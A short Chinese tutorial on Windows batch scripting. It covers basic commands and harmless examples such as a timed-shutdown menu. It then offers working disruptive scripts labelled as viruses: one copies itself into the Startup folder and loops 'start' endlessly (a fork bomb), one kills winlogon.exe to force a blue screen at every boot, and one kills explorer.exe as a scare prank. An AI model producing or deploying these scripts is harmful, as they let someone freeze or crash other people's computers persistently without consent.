批处理
利用记事本创建并编写一个.bat文件,该文件即为批处理文件,实质是DOS命令的集合:
@echo off //首行命令,关闭输出过程显示
pause //任意位置插入的命令,暂停执行下一条命令并显示DOS窗口,按任意键继续
title name //给批处理起标题为name
echo. //执行批处理时空一行
set /p time=请输入时间: //设置一个变量time,在脚本中交互赋值
%time% //引用变量
ping -n 10 127.0.0.1 >nul 2>nul //该命令常用于延时
// >nul 不显示ping的过程
// 2>nul 若ping失败,也不现实过程
案例1:定时关机小程序
@echo off
title 小程序
echo ================
echo.
echo 欢迎使用此小程序
echo.
echo ================
set /p time=请输入时间:
shutdown -s -f -t %time%
echo 定时关机已设置完毕,谢谢使用!
pause
:menu //定义标签名为menu
goto menu //跳转到menu标签部分开始执行命令
案例2:小程序2.0
@echo off
title 小程序2.0
:menu
cls
echo ==================
echo 菜单
echo 1.定时关机
echo 2.查看本机IP
echo 3.退出
echo ==================
set /p num=请输入选项:
if "%num%"=="1" goto a
if "%num%"=="2" goto b
if "%num%"=="3" goto c
echo 请正确输入数值1/2/3,按任意键继续!
pause
goto menu
:a
set /p time=请输入时间:
shutdown -s -f -t %time%
echo 定时关机已设置完毕,按任意键返回菜单!
pause
goto menu
:b
ipconfig
echo 按任意键返回菜单!
pause
goto menu
:c
exit
案例3:windows开机即死机
copy virus.bat "%userprofile%\「开始」菜单\程序\启动"
:d
start
goto d
// userprofile为windows中的一个系统变量,其值为C:\Documents and Settings\用户名或Administrator
// %%为取值
// :d 表示该行下面的命令块编号为d
// goto d 执行编号为d的命令块
// start 打开cmd窗口
案例4:win2003开机即蓝屏
copy virus.bat "%userprofile%\「开始」菜单\程序\启动"
ntsd -c q -pn winlogon.exe //强制杀死登陆进程,针对xp或2003
案例5:恐吓小程序
@echo off
color 0a
taskkill /im explorer.exe /f >nul 2>nul
echo 傻了吧
ping -n 10 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓你的hhh
pause
//杀死桌面进程,几秒后又开启